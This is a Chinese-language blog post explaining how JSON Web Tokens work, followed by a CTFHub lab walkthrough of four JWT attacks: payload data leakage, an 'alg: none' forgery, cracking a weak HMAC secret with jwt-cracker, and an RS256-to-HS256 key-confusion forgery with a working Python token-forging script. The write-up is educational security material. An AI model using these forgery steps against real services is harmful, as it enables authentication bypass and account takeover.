也是很久没写文章了最近也是在探索着一些新东西今天还是老样子随便写点给大家文章目录JWT 是什么自带信息的“电子通行证”JWT 的核心原理三段式结构JWT有什么好处第一关敏感信息泄露第二关无签名第三关弱密钥第四关修改签名算法总结JWT 是什么自带信息的“电子通行证”在传统的 Web 应用中用户登录后服务器通常会生成一个 Session会话并保存在服务器端然后给客户端发一个简短的 Session ID。而 JWT 则完全换了一种思路它是目前最流行的跨域身份验证方案你可以把它理解为一张自带所有必要信息的“电子通行证”。用户登录成功后服务器会签发一个 JWT 并交给客户端。之后客户端每次向服务器请求数据时都会出示这张通行证。服务器不需要去数据库里查这个用户到底是谁只要验证这张通行证是真的就可以直接放行。JWT 的核心原理三段式结构一个完整的 JWT 看起来就像一串乱码但实际上它由三个部分组成中间用英文句号.隔开格式为Header.Payload.Signature1. Header头部这部分就像通行证的封面主要声明了两件事这个令牌的类型是 JWT以及后面生成签名所使用的是什么加密算法例如 HMAC SHA256。# 组成部分 —— 解码后{alg:HS256,typ:JWT}2. Payload负载这是真正存放有效信息的地方比如用户的 ID、用户名、权限角色以及这个令牌的过期时间。# 组成部分 —— 解码后{sub:1234567890,name:CTFHub,iat:1516239022}关键提醒这里的载荷数据只是经过了 Base64 编码任何人都可以解码查看。因此绝对不要在 Payload 中存放密码等敏感信息。3. Signature签名这是 JWT 防伪的灵魂所在。服务器会把前面编码好的 Header 和 Payload 拿出来加上一个只有服务器自己知道的密钥Secret然后用 Header 中指定的算法计算出一个哈希值。这个签名就像是盖在通行证上的防伪钢印任何人如果篡改了中间的 Payload 数据因为不知道服务器的密钥就无法伪造出正确的签名。# 组成部分 —— 解码后HMACSHA256(base64UrlEncode(header). base64UrlEncode(payload), secret)JWT有什么好处JWT 最大的魅力就在于无状态Stateless。在 JWT 的机制下服务器变成了一个“只认钢印不记人”的门卫。服务器不需要在内存或数据库里专门腾出空间来记录哪些用户登录了所有的身份信息都在那串 Token 里。这就意味着当你的应用访问量激增需要增加多台服务器来分担压力时不需要去处理复杂的 Session 同步问题——只要这些服务器共享同一个密钥任何一台服务器都能独立验证用户的 JWT。这极大地降低了分布式系统的架构复杂度。光说概念肯定无法理解这里给大家带简单实战一下Web应用安全与防护四这里找了很多个靶场发现ctfhub刚好有JWT部分所有就用里面的几道题来演示一下大家也可以去看一下官方的文章介绍JWT基础知识第一关敏感信息泄露JWT 的头部和有效载荷这两部分的数据是以明文形式传输的如果其中包含了敏感信息的话就会发生敏感信息泄露。我们打开靶场用BP或者Yakit抓包看一下里面的结构这里我们可以看到响应包存在一个“很熟悉”的字符串具体可以看之前的介绍eyJBRyI6IjE1ZTE3ZDY0NzI4Zjk0Mn0iLCJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjMiLCJGTCI6ImN0Zmh1YnswNTYzYmY2NmEifQ.我们知道其为Base64编码所以分别对他们进行解码得到结果1第一部分2第二部分可以看到出现了部分的flag3第三部分需要密钥key本关再次阐述了JWT 默认是不会对 Payload 加密的也就意味着任何人都可以读到这部分JSON的内容所以不要将私密的信息放在这个部分。第二关无签名一些JWT库也支持none算法即不使用签名算法。当alg字段为空时后端将不执行签名验证。尝试找到 flag。还是熟悉的页面所以还是对其进行抓包从返回的结果我们可以看到当前用户admin是guest身份所以无法获取flag那我们还是老样子将获取的JWT进行解码Cookie:tokeneyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjMiLCJyb2xlIjoiZ3Vlc3QifQ.Gj5LcMKKCyWHpGmZHhUAzchUQp_9Lwp7LkM2O5g1Cso1第一部分将Header里面的alg置为空即使用none2第二部分这里我们将“guest” 换成 “admin”之后再将第三部分signnature部分删除即可再重新放到BP成功获得flag第三关弱密钥如果JWT采用对称加密算法并且密钥的强度较弱的话攻击者可以直接通过蛮力攻击方式来破解密钥。尝试获取flag这里我们直接使用工具 jwt-cracker来对获取的JWT凭证进行爆破将其上传到Linux机器执行一下命令make# 执行命令./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IjEyMyIsInBhc3N3b3JkIjoiMTIzIiwicm9sZSI6Imd1ZXN0In0.o9boK4ah_GvPzYEW68Iup4BRQoi87kOmCzvFqcZ7TpI成功得到弱密钥key随后再打开 https://www.jwt.io/得到flag第四关修改签名算法有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时有时攻击者可以获取到公钥此时可通过修改JWT头部的签名算法将非对称密码算法改为对称密码算法从而达到攻击者目的。这里我们打开靶场访问/publickey.pem得到公钥随后修改你自己的公钥执行下述代码importhmacimporthashlibimportbase64 key-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwXdbl2hs2mdxlCo55Ux iMiC1s4GltNuxawMcxo53UZnNIuKZfVtcUrLCZPMp9ne2iOWNbPswBRlfuhOjxTI f6LCc725zSpM85jL5YENoeyku94FOkdWaIgRzmDOxOCXA3tLxesb8hleMtSAl6f dQIQ4od0nYLDxMYZsO0WfJzPab8T61CaZeDcMdbKYZ/gkXvQ2sKvZUNdx9j1hMO JEJYjJU1auZKNrrgSS1pujEvh0mhXUWZclOiGD76IFWsm2EuwwwE9uEJ5WG9a Llf/UvnuEHjuoGKU0HqQiOpcNgQQAHjyNvxQ591hKbdkLFSn2Gohmb/mldr5iwcb 0wIDAQAB -----END PUBLIC KEY----- header{typ: JWT, alg: HS256}payload{username: root, role: admin}encodeHBytesbase64.urlsafe_b64encode(header.encode(utf-8))encodeHeaderstr(encodeHBytes,utf-8).rstrip()encodePBytesbase64.urlsafe_b64encode(payload.encode(utf-8))encodePayloadstr(encodePBytes,utf-8).rstrip()token(encodeHeader.encodePayload)sigbase64.urlsafe_b64encode(hmac.new(bytes(key,UTF-8),token.encode(utf-8),hashlib.sha256).digest()).decode(UTF-8).rstrip()print(token.sig)得到生成的JWT 凭证eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICJyb290IiwgInJvbGUiOiAiYWRtaW4ifQ.Oekuxqn103GN2IVAyzG2GcwYkAbCKqJ3-Vz3-ObgR34将其进行重放即可总结JSON Web Token (JWT) 是一种基于JSON的无状态认证方案。本文将首先阐明JWT的核心概念、三段式结构及其技术优势随后重点剖析其实际部署中的四类典型安全风险敏感信息泄露、无签名漏洞、弱密钥爆破及签名算法篡改为开发者提供规范的安全实践参考。